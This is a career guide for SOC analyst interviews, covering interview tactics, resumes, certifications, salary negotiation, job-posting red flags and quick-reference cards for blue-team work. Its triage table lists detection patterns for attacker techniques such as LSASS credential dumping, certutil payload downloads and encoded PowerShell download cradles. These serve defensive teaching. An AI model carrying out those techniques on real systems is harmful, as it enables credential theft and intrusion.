# Top 10 IPs in an Apache log
awk '{print $1}' access.log | sort | uniq -c | sort -rn | head -10

# Find all failed SSH login attempts
grep "Failed password" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -rn

# Search for a string across all log files
grep -r "suspicious-domain.com" /var/log/

# Find files modified in the last hour
find / -type f -mmin -60 2>/dev/null

# Check for listening ports
ss -tlnp
```

How to Talk About Tools You Have Not Used

A significant portion of interview success comes from how you handle the inevitable question about a tool you have not used. Here is the framework:

Step 1: Be honest. "I haven't used [Tool] in a production environment."

Step 2: Bridge to what you know. "I have experience with [Similar Tool] which serves the same purpose."

Step 3: Demonstrate conceptual understanding. "The core concepts are the same — [explain the concept]. [Tool] specifically does [something you know about it from research]."

Step 4: Show initiative. "I've [read the documentation / completed the free training / watched demos / set it up in a lab] to familiarize myself."

Step 5: Express confidence in ramping up. "Based on my experience with [Similar Tool], I'm confident I can be productive within [realistic timeframe]."

Example: "I haven't used CrowdStrike in a production SOC, but I have hands-on experience with Microsoft Defender for Endpoint. Both are EDR platforms that provide process telemetry, behavioral detection, and remote response capabilities. CrowdStrike's cloud-native architecture and Threat Graph for cross-customer intelligence is something I've read about. I completed the CrowdStrike University free training modules to familiarize myself with the Falcon console. Given my EDR experience, I'd expect to be functional with Falcon within a few weeks."

This approach shows honesty, transferable knowledge, initiative, and realistic expectations. It is far more impressive than either bluffing experience you do not have or simply saying "I've never

used it."

Next: Chapter 6 — Resume and Prep Tips

Chapter 6: Resume and Prep Tips

Positioning Yourself for Security Roles

How to Position Homelab and Self-Study Experience

The biggest insecurity career changers and self-taught candidates have is: "I don't have professional SOC experience." Here is the truth — many hired SOC analysts started with the same background. The difference is how they present it.

Homelab Experience on a Resume

Do not: List your homelab as a job with a fake title.

Do: Create a "Technical Projects" or "Security Lab" section on your resume.

Example:

```
SECURITY HOME LAB                                          2024 – Present
- Built a network monitoring environment using OPNsense, Security Onion, and Wazuh
  to detect and investigate simulated attacks across a segmented network
- Configured Wazuh SIEM to collect Windows Event Logs, Sysmon telemetry, and
  firewall logs; wrote 15+ custom detection rules for common attack techniques
- Analyzed PCAPs from malware traffic analysis exercises using Wireshark,
  identifying C2 communication, DNS tunneling, and data exfiltration patterns
- Investigated simulated ransomware incident end-to-end: identified initial access
  (phishing), mapped lateral movement via pass-the-hash, and documented the full
  attack chain using MITRE ATT&CK framework
```

What makes this strong: - Specific tools named - Specific techniques practiced - Quantified where possible (15+ rules) - Described in terms of outcomes and skills demonstrated, not just "set up a lab"

CTF and Training Platform Experience

```
TRAINING & PRACTICAL EXERCISES
- Completed 40+ rooms on TryHackMe (Top 5% ranking) focused on SOC operations,
  incident response, and log analysis
- Participated in Blue Team Labs Online challenges covering phishing analysis,
```

```
  memory forensics, and SIEM investigation
- Completed National Cyber League (NCL) competition — top 15% in log analysis
  and network traffic analysis categories
```

Certifications: Which Ones Matter

Tier 1 — Get These First (Most Recognized for Entry-Level SOC)

Certification	What It Proves	Typical Study Time
CompTIA Security+	Foundational security knowledge across all domains	2-3 months
CompTIA CySA+	SOC-specific skills: threat detection, analysis, response	2-4 months

Security+ is the baseline that most job postings require or prefer. CySA+ is the strongest cert for SOC analyst positions specifically — it maps directly to the job duties.

Tier 2 — Differentiate Yourself

Certification	What It Proves	Notes
Splunk Core Certified User	You can use the most common SIEM	Free training on Splunk Education
SC-200 (Microsoft Security Operations Analyst)	Sentinel, Defender, KQL skills	Strong for Microsoft-heavy environments
BTL1 (Blue Team Level 1)	Hands-on investigation skills	Practical exam, highly respected
GIAC GSEC	Deep security fundamentals	Expensive but respected by SANS

How to Talk About Certifications in Interviews

Do say: "I earned the CySA+ because I wanted to validate my SOC-specific skills. The preparation involved hands-on labs where I analyzed malware traffic, investigated SIEM alerts, and performed incident triage. The exam itself required applying knowledge to realistic scenarios, not just memorizing definitions."

Do not say: "I have Security+ and CySA+." (This is a fact, not a conversation. Expand on what you learned and how you applied it.)

If you are still studying: "I am currently preparing for the CySA+, with a target exam date of [month]. I have completed [specific labs or study activities] and I am focusing on [specific areas]." This shows active investment in your skills.

Building a Security Portfolio

A portfolio gives you something tangible to discuss in interviews. It does not need to be elaborate — it needs to demonstrate that you do the work.

Blog / Writeups

Start a simple blog (GitHub Pages, Medium, or your own site) and write about: - **CTF writeups:** Walk through your methodology for solving a challenge. Show your thought process, not just the answer. - **Tool tutorials:** "How I Set Up Wazuh for Home Lab Monitoring" or "Analyzing DNS Tunneling with Wireshark" - **Incident analysis:** Take a public breach report and write your own analysis. What was the attack chain? What could have detected it earlier? What would you recommend? - **Lab projects:** Document what you built and what you learned

Quality over quantity. Three detailed, well-written posts are worth more than twenty shallow ones.

GitHub Repository

- Security scripts you have written (log parsers, IOC checkers, automation)
- SIEM detection rules (SIGMA format rules are universal and demonstrate detection engineering)
- Lab infrastructure as code (Terraform, Ansible, Docker configs for your lab)
- Documentation for your lab setup

Important: Never include credentials, API keys, or internal network details in public repos.

What Interviewers Actually Look At

They do not read every word. They scan for: - Evidence of hands-on work (not just theoretical discussion) - Clear writing (communication skill proxy) - Current activity (last updated 2 years ago is not a good look) - Technical depth (do you understand the "why" or just the "how"?)

Pre-Interview Checklist

1 Week Before

- ☐ **Research the company's security posture.** What industry are they in? What compliance frameworks apply (PCI DSS for finance/retail, HIPAA for healthcare, etc.)? Have they had any public breaches? What security tools do they use (check job postings, LinkedIn profiles of their security team, and their tech blog)?
- ☐ **Review the job posting line by line.** For every skill or tool listed, prepare a story or example demonstrating your experience or knowledge.
- ☐ **Prepare your STAR stories.** Write out 4-5 stories from your experience (professional, lab, or training) that you can adapt to different behavioral questions. Practice telling them in 2-3 minutes.
- ☐ **Review this kit.** Focus on chapters relevant to the specific role and company.

- ☐ **Set up your environment.** If there is a technical assessment, make sure your tools are installed and working. If it is a video interview, test your camera, microphone, and internet connection.

Day Before

- ☐ **Review your resume.** Be ready to discuss every item on it. If you listed a tool, be ready for follow-up questions about it.
- ☐ **Prepare your questions for the interviewer** (see below).
- ☐ **Review the company's recent news.** Check their blog, social media, and press coverage.
- ☐ **Lay out your clothes / set up your space.** Eliminate logistics stress.
- ☐ **Get a full night's sleep.** Seriously. Your brain performs worse when tired, and interviews test your thinking, not just your knowledge.

Day Of

- ☐ **Review the quick reference cards** (Chapter 7) one more time
- ☐ **Have a notepad ready** for jotting questions and notes during the interview
- ☐ **Join 5 minutes early** for video interviews
- ☐ **Have water nearby**
- ☐ **Breathe.** You prepared. Trust the prep.

Questions to Ask the Interviewer

Asking thoughtful questions signals that you are evaluating them as much as they are evaluating you. It also gives you information you actually need to decide if this is the right job.

About the SOC Operations

- "What does a typical shift look like for this role? What is the alert volume like?"
- "What SIEM and EDR platforms does the team use?"
- "How is the SOC structured — how many Tier 1, Tier 2, and Tier 3 analysts are on the team?"
- "What does the escalation process look like when a Tier 1 analyst finds something significant?"
- "How much of the SOC workflow is automated, and what is still manual?"

About Growth and Development

- "What does the path from Tier 1 to Tier 2 look like here? What skills or milestones are expected?"
- "Does the team have time allocated for training, certifications, or threat hunting?"
- "Are there opportunities to get involved in detection engineering or incident response beyond alert triage?"

About the Environment

- "What is the biggest security challenge the team is currently facing?"

- "How does the security team work with the rest of IT — development, infrastructure, helpdesk?"
- "What is the on-call or overtime expectation for this role?"

Red Flags to Listen For in Their Answers

- "We're still building our security program" combined with a Tier 1 job posting — you may end up being the entire SOC without support
- Vague answers about team size — the team might be understaffed
- "We wear many hats" — may mean you are doing helpdesk, networking, and security, not dedicated SOC work
- No mention of training or growth — they may not invest in development
- Extremely high alert volumes with a small team — burnout risk

---

Red Flags in SOC Job Postings

Not every SOC job is worth taking. Some postings are red flags wrapped in buzzwords. Here's what to watch for.

1. "Must have 5+ years experience" for a Tier 1 role

They don't understand their own role levels. Either the job is mislabeled or they want a senior analyst at junior pay. Tier 1 is entry-level by definition. If they need five years of experience to handle it, the role is either Tier 2 wearing a Tier 1 salary, or their environment is so broken that new analysts can't survive it.

2. "Responsible for all aspects of cybersecurity"

This is a one-person "SOC." You'll be the analyst, the engineer, the architect, the compliance officer, and the help desk. Some people want that. Most burn out in 6 months.

You won't learn how a real SOC operates because there is no SOC. There is just you, an inbox, and a SIEM nobody configured properly.

3. "On-call 24/7" with no shift differential

A real SOC has shift coverage. If they expect you to be on-call around the clock for a Tier 1 salary, the "operations center" is you and a pager.

Ask in the interview: "How is on-call rotation structured?" If they can't answer clearly, that's your answer.

4. No mention of specific tools

If the posting doesn't name a SIEM, EDR, or ticketing system, they might not have one. "Monitor security events" could mean "watch Windows Event Viewer."

A mature security operation knows what tools they run. If the posting is vague, the program is probably immature — or nonexistent.

5. "Fast-paced environment" appears 3+ times

Translation: understaffed. Every SOC is fast-paced. If they need to say it that many times, they're warning you.

Look for supporting evidence: what's the team size? What's the alert volume? If those details are missing alongside "fast-paced," the pace comes from too much work and too few people.

6. Laundry list of 15+ certifications "preferred"

CISSP, OSCP, GCIH, GCIA, CISM, CEH, CCNA, AWS SAA… for a Tier 1 role. They don't know what they want or they're hoping for an overqualified bargain.

A focused posting asks for 2-3 relevant certifications. A kitchen-sink posting was written by someone who Googled "cybersecurity certifications" and pasted the results.

7. "Competitive salary" with no range

In 2026, transparency is expected. No range usually means the range is low and they know it.

Many states now require salary ranges in postings. If a company in a transparency-required state still won't post one, that tells you how they handle other "requirements."

8. The same posting has been up for 6+ months

Either they can't fill it (bad sign) or they're collecting resumes for a position that doesn't exist yet (worse sign).

Check LinkedIn, Indeed, and the company's careers page. If the same role has been reposted multiple times over six months, ask yourself what's driving the turnover — or the indecision.

9. "Must be willing to relocate" for a SOC role

Most SOC work can be done remotely. If they require relocation to a high cost-of-living area with no relocation assistance mentioned, do the math on the salary first.

There are legitimate reasons for on-site SOC work — classified environments, airgapped networks, regulatory requirements. But "we like people in the office" is not a good reason to uproot your life for $65K.

10. No mention of training, mentorship, or growth

Good SOCs invest in their people. If the posting reads like they want a fully-formed analyst who will never ask a question, that's not a learning environment.

Look for signals: certification reimbursement, training budget, career path descriptions, mentorship programs. Their absence isn't always a dealbreaker — but their absence combined with other red flags on this list is a pattern.

A bad first SOC job can burn you out on the entire field. A good one can launch a 20-year career. Be selective. You worked too hard to get here to take the first thing that says yes.

Salary Negotiation Basics for Security Roles

Know the Market

SOC Analyst salaries vary significantly by location, company size, and industry. As of 2025-2026 in the United States:

Role	Range (USD)	Notes
SOC Analyst Tier 1	$55,000 — $80,000	Entry level, higher in HCOL areas
SOC Analyst Tier 2	$75,000 — $105,000	2-4 years experience
Security Analyst (general)	$65,000 — $95,000	Varies widely by company
Incident Responder	$80,000 — $120,000	Usually requires 2+ years

These ranges are approximate. Check Glassdoor, Payscale, the Robert Half salary guide, and the CyberSeek career pathway tool for current data specific to your location.

Factors that increase your market value: - Active security clearance (government/defense positions) - Relevant certifications (Security+, CySA+, GIAC) - Specific tool experience matching the job posting - Industry-specific experience (healthcare SOC experience is valuable to healthcare companies) - Shift differential for overnight or weekend positions (some SOCs pay 10-15% more for off-hours)

Negotiation Principles

Wait for them to name a number first. If asked "what's your salary expectation?" respond with: "I'm focused on finding the right role. I'd like to learn more about the total compensation package. What's the range budgeted for this position?"

If pressed for a number: Give a range based on your research, not a single number. "Based on my research for this role in [city/region], I'm targeting the $70,000-$85,000 range, depending on the total compensation package."

Negotiate the total package, not just base salary: - Base salary - Signing bonus - Annual bonus - Certification reimbursement (this can be $5,000-$10,000/year in value) - Training budget - Remote work flexibility - PTO / vacation days - Shift differential

Do not accept the first offer immediately. "Thank you for the offer. I'm excited about the role. I'd like to take 24-48 hours to review the full package." This is standard and expected.

If they lowball: "I appreciate the offer. Based on my research and the skills I bring — particularly [specific skills matching their needs] — I was expecting something closer to [your target]. Is there flexibility in the range?"

After the Interview: Follow-Up

Send a Thank-You Email Within 24 Hours

Keep it brief, professional, and specific.

Template:

```
Subject: Thank you — [Position Title] Interview

Hi [Interviewer Name],

Thank you for taking the time to speak with me today about the [Position Title]
role. I enjoyed learning about [specific thing discussed — the team's approach
to detection engineering, the SOC modernization project, etc.].

Our conversation reinforced my interest in the role, particularly
[specific aspect that excited you]. I believe my experience with
[specific skill relevant to what was discussed] would allow me to
contribute to the team quickly.

I look forward to hearing about next steps. Please do not hesitate to reach
out if you need any additional information from me.

Best regards,
[Your Name]
```

What makes a good follow-up: - References something specific from the conversation (shows you were engaged) - Reinforces your fit for the role - Is brief — three short paragraphs maximum - Sent within 24 hours

If you interviewed with multiple people, send a personalized email to each one. Do not send the same email to everyone.

Red Flags in Security Job Postings

Learn to read between the lines of job descriptions. These patterns often signal problems:

"Must have 5+ years experience" for an entry-level salary

This is either a wish list (they will consider less experience) or a sign that they do not understand the market. Apply anyway if you meet most of the requirements — job postings are wish lists, not minimum requirements.

"Rockstar" / "Ninja" / "Guru"

Immature company culture, possibly expecting one person to do everything.

Every security tool ever made listed as "required"

"Must have experience with Splunk, QRadar, Sentinel, CrowdStrike, SentinelOne, Carbon Black, Palo Alto, Fortinet, Nessus, Qualys, Rapid7, and Wireshark." Nobody has deep experience with all of these. This is either an aspirational list or they do not know what they need.

"Other duties as assigned" dominating the description

If the security-specific responsibilities are only 30% of the description and the rest is helpdesk, networking, and system administration, this is not a dedicated security role.

No mention of team size or structure

You might be the only security person, which means you are building a security program from scratch with no mentorship. That can be great for experienced professionals but is a hard path for someone breaking in.

Extremely long posting cycles

If the same position has been posted for 6+ months, there may be internal issues — impossible requirements, low pay, high turnover, or a broken hiring process.

No mention of training or certifications

Companies that invest in their security team mention it. If there is no training budget, professional development, or certification support, they may not invest in your growth.

Shift details missing for 24/7 SOC positions

If the posting does not mention shift schedules but the SOC is 24/7, ask early. Overnight and rotating shifts significantly impact quality of life, and some positions are exclusively off-hours.

Positioning Career Transitions

From IT Support / Helpdesk

Your advantage: You understand the environment the SOC protects. You have dealt with users, tickets, troubleshooting, and systems. You know how organizations actually work.

How to frame it: "In my helpdesk role, I handled security-adjacent tasks daily — password resets after potential compromises, identifying phishing emails reported by users, escalating suspicious activity to the security team, and enforcing security policies on endpoints. I decided to move into security full-time because I wanted to be the person investigating those escalations rather than just handing them off."

From Networking

Your advantage: Deep understanding of protocols, traffic patterns, firewalls, and routing — the infrastructure that SOC analysts monitor.

How to frame it: "My networking background gives me a strong foundation for security monitoring. I understand how traffic flows through the environment, what normal looks like at the packet level, and how network segmentation and firewall rules work. I can read PCAPs, understand routing tables, and troubleshoot connectivity — which directly translates to analyzing network-based attacks."

From Software Development

Your advantage: Scripting and automation skills, understanding of application architecture, ability to read code (including malicious code).

How to frame it: "As a developer, I understand how applications work — and how they fail. I know what injection vulnerabilities look like in code, how authentication should be implemented, and how APIs can be abused. My scripting skills mean I can automate investigation tasks and build tools that make the SOC more efficient."

From Military / Law Enforcement

Your advantage: Security clearance (if applicable), discipline, chain of command, investigative mindset, ability to work under pressure.

How to frame it: "My military/law enforcement background instilled an investigative mindset — gathering evidence, following leads, documenting findings, and reporting up the chain. Cybersecurity incident response follows the same logic: something happened, I need to figure out what, contain the damage, and document everything."

Next: Chapter 7 — Quick Reference Cards

Chapter 7: Quick Reference Cards

Printable Cheat Sheets for Last-Minute Review

These reference cards are designed for quick review before an interview. Print them, save them to your phone, or review them the morning of your interview.

Card 1: Common Ports and Protocols

Port	Protocol	Service	Security Relevance
20-21	TCP	FTP	Cleartext file transfer, credential theft
22	TCP	SSH	Brute force target, lateral movement
23	TCP	Telnet	Cleartext everything — should not exist
25	TCP	SMTP	Spam relay, phishing, data exfiltration
53	TCP/UDP	DNS	Tunneling, C2, DGA, exfiltration
67-68	UDP	DHCP	Rogue DHCP, network manipulation
80	TCP	HTTP	Malware delivery, unencrypted web traffic
88	TCP/UDP	Kerberos	Kerberoasting, golden/silver tickets
110	TCP	POP3	Cleartext email retrieval
123	UDP	NTP	Amplification attacks, time manipulation
135	TCP	RPC/DCOM	Lateral movement, remote execution
137-139	TCP/UDP	NetBIOS	Legacy enumeration, LLMNR poisoning
143	TCP	IMAP	Cleartext email retrieval
161-162	UDP	SNMP	Information disclosure (community strings)
389	TCP	LDAP	AD enumeration, cleartext credentials
443	TCP	HTTPS	Encrypted C2, blends with legitimate traffic
445	TCP	SMB	Ransomware, EternalBlue, lateral movement
465	TCP	SMTPS	Encrypted email sending
514	UDP	Syslog	Log tampering if unencrypted
636	TCP	LDAPS	Encrypted LDAP
993	TCP	IMAPS	Encrypted email retrieval
995	TCP	POP3S	Encrypted email retrieval
1433	TCP	MSSQL	Database attacks, xp_cmdshell
1521	TCP	Oracle DB	Database attacks
3306	TCP	MySQL	Database attacks
3389	TCP	RDP	Brute force, lateral movement, ransomware

Port	Protocol	Service	Security Relevance
5432	TCP	PostgreSQL	Database attacks
5985	TCP	WinRM HTTP	Remote PowerShell, lateral movement
5986	TCP	WinRM HTTPS	Remote PowerShell, lateral movement
8080	TCP	HTTP Alt	Web proxy, alternate web services
8443	TCP	HTTPS Alt	Alternate HTTPS services

Suspicious ports to flag: 4444 (Metasploit default), 1234, 31337 (leet), 6667 (IRC — old C2), 9001 (Tor), any high random port with persistent outbound connections.

Card 2: MITRE ATT&CK Tactics Summary

ID	Tactic	What the Attacker is Doing	Example Techniques
TA0043	Reconnaissance	Gathering information about the target	OSINT, scanning, social media research
TA0042	Resource Development	Setting up infrastructure for the attack	Registering domains, creating accounts, buying tools
TA0001	Initial Access	Getting into the environment	Phishing (T1566), exploiting public-facing apps (T1190), valid accounts (T1078)
TA0002	Execution	Running malicious code	PowerShell (T1059.001), Windows Command Shell (T1059.003), scheduled tasks (T1053)
TA0003	Persistence	Maintaining access after reboot/logout	Registry run keys (T1547.001), scheduled tasks (T1053), account creation (T1136)
TA0004	Privilege Escalation	Getting higher permissions	Exploitation for privilege escalation (T1068), valid accounts (T1078), access token manipulation (T1134)
TA0005	Defense Evasion	Avoiding detection	Obfuscation (T1027), indicator removal (T1070), masquerading (T1036), disabling security tools (T1562)
TA0006	Credential Access	Stealing credentials	Brute force (T1110), credential dumping (T1003), Kerberoasting (T1558.003)

ID	Tactic	What the Attacker is Doing	Example Techniques
TA0007	Discovery	Learning the environment	Network scanning (T1046), account discovery (T1087), file/directory discovery (T1083)
TA0008	Lateral Movement	Moving to other systems	Remote services (T1021), pass-the-hash (T1550.002), PsExec (T1021.002)
TA0009	Collection	Gathering data to steal	Data from local system (T1005), email collection (T1114), screen capture (T1113)
TA0011	Command and Control	Communicating with compromised systems	Web protocols (T1071), DNS (T1071.004), encrypted channels (T1573)
TA0010	Exfiltration	Stealing data out	Exfil over C2 (T1041), exfil over web (T1567), exfil over DNS (T1048)
TA0040	Impact	Causing damage	Data encryption (T1486/ransomware), data destruction (T1485), defacement (T1491)

Card 3: NIST Incident Response Phases

Phase 1: Preparation

- Establish IR team, roles, and contact information
- Develop IR plan, playbooks, and communication templates
- Deploy and configure detection tools (SIEM, EDR, IDS/IPS)
- Conduct tabletop exercises and training
- Establish relationships with law enforcement and external IR providers
- Maintain a forensic toolkit (imaging tools, analysis tools, clean media)

Phase 2: Detection and Analysis

- Monitor alerts from SIEM, EDR, IDS, and user reports
- Triage alerts: true positive, false positive, or needs investigation
- Correlate events across multiple data sources
- Determine incident scope: what systems, what data, how many users
- Classify severity (P1-P4)
- Document initial findings and timeline
- Notify stakeholders per escalation procedures

Phase 3: Containment, Eradication, and Remediation

Containment (stop the bleeding): - Short-term: isolate affected hosts, block malicious IPs/domains, disable compromised accounts - Long-term: apply patches, segment the network, implement additional monitoring - Evidence preservation: image systems before wiping, capture memory, export logs

Eradication (remove the threat): - Delete malware, remove persistence mechanisms - Close the vulnerability that was exploited - Reset compromised credentials (all of them, not just the ones you found)

Remediation (restore normal operations): - Reimage compromised systems from known-clean media - Restore from verified backups - Verify systems are clean before reconnecting to the network - Monitor restored systems closely for reinfection

Phase 4: Post-Incident Activity

- Conduct lessons-learned meeting (blameless)
- Write incident report (timeline, root cause, actions taken, impact)
- Update detection rules based on what was missed
- Update playbooks based on what was learned
- Implement preventive controls to avoid recurrence
- Brief management on findings and recommendations

Card 4: Log Source Reference Map

Log Source	Key Information	Investigation Use Cases
Firewall	Source/dest IP, port, action (allow/deny), bytes, protocol	Blocked C2 attempts, port scans, unauthorized traffic flows, data volume anomalies
Proxy/Web Filter	URL, domain, user, user-agent, response code, bytes	Malware downloads, phishing site visits, data exfiltration to cloud storage, suspicious user agents
DNS	Query domain, record type, response, source host	DGA domains, tunneling, high-entropy queries, known-bad domains, query volume spikes
EDR/Endpoint	Process execution, parent process, file ops, registry, network connections	Malware execution, persistence creation, lateral movement tools, suspicious command lines
Windows Security Log	Auth events, privilege changes, account management	Brute force (4625), logon anomalies (4624), privilege escalation (4672), account creation (4720)
Sysmon	Detailed process creation (1), network connections (3), file creation (11), registry (13), DNS (22)	Full attack chain visibility, process trees, C2 connections, persistence mechanisms

Log Source	Key Information	Investigation Use Cases
Active Directory	Group changes, GPO modifications, replication events, Kerberos events	Kerberoasting (4769), DCSync (4662), unauthorized admin creation, group membership changes
VPN	User, source IP, geolocation, connection time, duration	Impossible travel, off-hours access, connections from flagged countries, credential compromise
Email Gateway	Sender, recipient, subject, attachment info, URLs, action (delivered/blocked)	Phishing campaigns, BEC attempts, malicious attachments, impersonation
Cloud (CloudTrail/Azure Activity)	API calls, user, source IP, resource affected, timestamp	IAM changes, S3/blob access, security group modifications, unusual API activity
DHCP	MAC-to-IP mapping, lease time	Correlating alerts to specific hosts when only IP is known, identifying rogue devices
Application Logs	Login attempts, errors, API calls, user actions	Brute force against apps, SQL injection attempts (error patterns), unauthorized data access

---

Card 5: "If You See X, Think Y" Pattern Matching

This table maps observable indicators to the threats they commonly suggest. Use it as a mental model for rapid triage.

If You See This…	Think This…	Priority
Beaconing traffic (regular interval outbound connections)	C2 communication	High
Base64 in PowerShell command line	Obfuscated malicious payload / LotL	High
DNS queries to high-entropy domains	DGA malware or DNS tunneling	High
DNS TXT record queries with large responses	DNS tunneling / data exfiltration	High
PowerShell spawned by Word/Excel/Outlook	Malicious document / phishing payload	Critical
Login from two countries within impossible timeframe	Credential compromise	High
1000+ failed logins from single IP	Brute force attack	Medium
Failed logins across many accounts, few per account	Password spraying	High
New scheduled task on a server	Persistence mechanism	High
Service installed on a server (Event 7045)	Persistence or lateral movement	High

If You See This…	Think This…	Priority
LSASS access by non-system process	Credential dumping (Mimikatz etc.)	Critical
Large outbound data transfer at 3 AM	Data exfiltration	High
certutil.exe downloading from external URL	Living off the land — payload download	High
RDP connection from workstation to workstation	Lateral movement	High
SMB traffic between workstations	Lateral movement or ransomware spread	High
Newly registered domain (<30 days) in traffic	Phishing infrastructure or C2	Medium-High
Process running from /tmp or %TEMP% with network connections	Malware execution from staging directory	High
Multiple admin logons from a single account across many hosts	Lateral movement with compromised admin creds	Critical
Audit log cleared (Event 1102)	Anti-forensics — attacker covering tracks	Critical
Outbound traffic on port 4444	Metasploit default listener	High
User accessing file shares outside their normal pattern	Potential data staging or insider threat	Medium
VPN connection + cloud storage upload spike	Possible data exfiltration via remote access	Medium-High
Disabled antivirus / EDR tamper	Defense evasion — active attack	Critical
SSH keys added to authorized_keys	Persistence on Linux systems	High
Cron job or systemd service created unexpectedly	Persistence on Linux systems	High
Encoded PowerShell downloading then piping to IEX	Download cradle — malware staging	Critical
Process injection (Sysmon Event 8 / EDR alert)	Code injection — active attack	Critical
Kerberos TGS requests for many SPNs from one account	Kerberoasting	High
New admin account created outside change management	Unauthorized access / persistence	Critical

---

Card 6: Acronym Glossary

Security Operations

Acronym	Full Name	What It Is
SOC	Security Operations Center	The team/facility that monitors and responds to security events
SIEM	Security Information and Event Management	Central platform for log collection, correlation, and alerting
SOAR	Security Orchestration, Automation, and Response	Platform that automates SOC workflows and integrates tools
EDR	Endpoint Detection and Response	Endpoint monitoring with behavioral detection and response capabilities
XDR	Extended Detection and Response	EDR expanded across endpoints, network, cloud, email — unified detection
MDR	Managed Detection and Response	Outsourced SOC/detection services
NDR	Network Detection and Response	Network traffic monitoring and threat detection
TIP	Threat Intelligence Platform	System for collecting, analyzing, and distributing threat intelligence
DFIR	Digital Forensics and Incident Response	Investigation and evidence collection discipline

Threat Intelligence

Acronym	Full Name	What It Is
IOC	Indicator of Compromise	Evidence of a breach (hash, IP, domain)
IOA	Indicator of Attack	Behavioral evidence of an attack in progress
TTP	Tactics, Techniques, and Procedures	How threat actors operate (the "playbook" of an attacker)
APT	Advanced Persistent Threat	Sophisticated, well-resourced threat actor (often nation-state)
C2 / C&C	Command and Control	Infrastructure an attacker uses to communicate with compromised systems
DGA	Domain Generation Algorithm	Malware technique that generates random domain names for C2
RAT	Remote Access Trojan	Malware that gives an attacker remote control of a system
LotL	Living off the Land	Using legitimate built-in tools for malicious purposes

Vulnerability Management

Acronym	Full Name	What It Is
CVE	Common Vulnerabilities and Exposures	Standardized vulnerability identifier
CVSS	Common Vulnerability Scoring System	Severity scoring system (0.0-10.0)
NVD	National Vulnerability Database	NIST database of CVEs with CVSS scores and details
KEV	Known Exploited Vulnerabilities	CISA catalog of vulns confirmed to be actively exploited
RCE	Remote Code Execution	Vulnerability allowing code execution from outside the system
SSRF	Server-Side Request Forgery	Vulnerability where a server makes requests on behalf of an attacker
SQLi	SQL Injection	Web attack injecting SQL commands into application inputs
XSS	Cross-Site Scripting	Web attack injecting JavaScript into web pages

Network Security

Acronym	Full Name	What It Is
IDS	Intrusion Detection System	Monitors and alerts on suspicious network traffic
IPS	Intrusion Prevention System	Monitors, alerts, and blocks suspicious traffic inline
NGFW	Next-Generation Firewall	Firewall with app-layer inspection, IPS, identity awareness
WAF	Web Application Firewall	Protects web applications from HTTP-based attacks
DMZ	Demilitarized Zone	Network segment between internal and external networks
NAC	Network Access Control	Controls which devices can connect to the network
VPN	Virtual Private Network	Encrypted tunnel for remote network access
NAT	Network Address Translation	Maps private IPs to public IPs
VLAN	Virtual Local Area Network	Logical network segmentation at Layer 2
DNS	Domain Name System	Translates domain names to IP addresses

Acronym	Full Name	What It Is
DDoS	Distributed Denial of Service	Attack overwhelming a target with traffic from many sources

Identity and Access

Acronym	Full Name	What It Is
IAM	Identity and Access Management	Framework for managing user identities and permissions
MFA	Multi-Factor Authentication	Requiring 2+ authentication factors
SSO	Single Sign-On	One login for multiple applications
RBAC	Role-Based Access Control	Permissions assigned to roles, not individual users
PAM	Privileged Access Management	Controls and monitors privileged account usage
SAML	Security Assertion Markup Language	Standard for exchanging authentication data between parties
OAuth	Open Authorization	Authorization framework for delegated access
OIDC	OpenID Connect	Identity layer on top of OAuth 2.0
AD	Active Directory	Microsoft directory service for Windows domain networks
LDAP	Lightweight Directory Access Protocol	Protocol for querying directory services

Compliance and Frameworks

Acronym	Full Name	What It Is
NIST	National Institute of Standards and Technology	US government standards body — publishes security frameworks
CIS	Center for Internet Security	Publishes security benchmarks and controls
PCI DSS	Payment Card Industry Data Security Standard	Security standard for handling credit card data
HIPAA	Health Insurance Portability and Accountability Act	US healthcare data protection law
GDPR	General Data Protection Regulation	EU data privacy regulation
SOX	Sarbanes-Oxley Act	US financial reporting and controls law

Acronym	Full Name	What It Is
ISO 27001	International Organization for Standardization 27001	International information security management standard
SOC 2	System and Organization Controls 2	Audit standard for service organizations (different from Security Operations Center)
GRC	Governance, Risk, and Compliance	The discipline of managing organizational risk and compliance

Encryption and PKI

Acronym	Full Name	What It Is
AES	Advanced Encryption Standard	Standard symmetric encryption algorithm
RSA	Rivest-Shamir-Adleman	Asymmetric encryption algorithm
ECC	Elliptic Curve Cryptography	Efficient asymmetric encryption
TLS	Transport Layer Security	Protocol for encrypted communication (successor to SSL)
PKI	Public Key Infrastructure	System for managing digital certificates and keys
CA	Certificate Authority	Entity that issues digital certificates
CRL	Certificate Revocation List	List of revoked certificates
OCSP	Online Certificate Status Protocol	Real-time certificate validity checking
HSM	Hardware Security Module	Physical device for secure key storage and crypto operations
PFS	Perfect Forward Secrecy	Each session gets unique keys — compromised long-term key cannot decrypt past sessions

Cloud Security

Acronym	Full Name	What It Is
CASB	Cloud Access Security Broker	Monitors and enforces security policies for cloud services
CSPM	Cloud Security Posture Management	Monitors cloud configurations for security issues
CWPP	Cloud Workload Protection Platform	Secures workloads running in cloud environments

Acronym	Full Name	What It Is
SCP	Service Control Policy	AWS policy restricting what accounts in an organization can do
IaaS	Infrastructure as a Service	Cloud computing model (AWS EC2, Azure VMs)
PaaS	Platform as a Service	Cloud computing model (Azure App Service, AWS Lambda)
SaaS	Software as a Service	Cloud computing model (M365, Salesforce)

Data Protection

Acronym	Full Name	What It Is
DLP	Data Loss Prevention	Tools and policies preventing unauthorized data transfer
PII	Personally Identifiable Information	Data that can identify an individual
PHI	Protected Health Information	Health-related PII covered by HIPAA
DAR	Data at Rest	Data stored on disk or in databases
DIT	Data in Transit	Data moving across networks
DIU	Data in Use	Data being processed in memory

Card 7: Key Windows Event IDs

Event ID	Log	What It Means	Why It Matters
1	Sysmon	Process creation	Full command line visibility, parent process tracking
3	Sysmon	Network connection	Maps processes to network destinations
7	Sysmon	Image loaded (DLL)	DLL sideloading detection
8	Sysmon	CreateRemoteThread	Process injection detection
10	Sysmon	Process access	LSASS access (credential dumping)
11	Sysmon	File creation	Malware drops, staging
13	Sysmon	Registry value set	Persistence via registry
22	Sysmon	DNS query	Process-level DNS visibility
1102	Security	Audit log cleared	Anti-forensics — critical alert
4624	Security	Successful logon	Baseline access, check logon type

Event ID	Log	What It Means	Why It Matters
4625	Security	Failed logon	Brute force, credential stuffing
4648	Security	Logon with explicit creds	Lateral movement (runas)
4662	Security	Operation on AD object	DCSync detection (specific GUIDs)
4672	Security	Special privileges assigned	Admin logon tracking
4688	Security	New process created	Command-line auditing (needs GPO)
4697	Security	Service installed	Persistence
4698	Security	Scheduled task created	Persistence
4720	Security	User account created	Unauthorized account creation
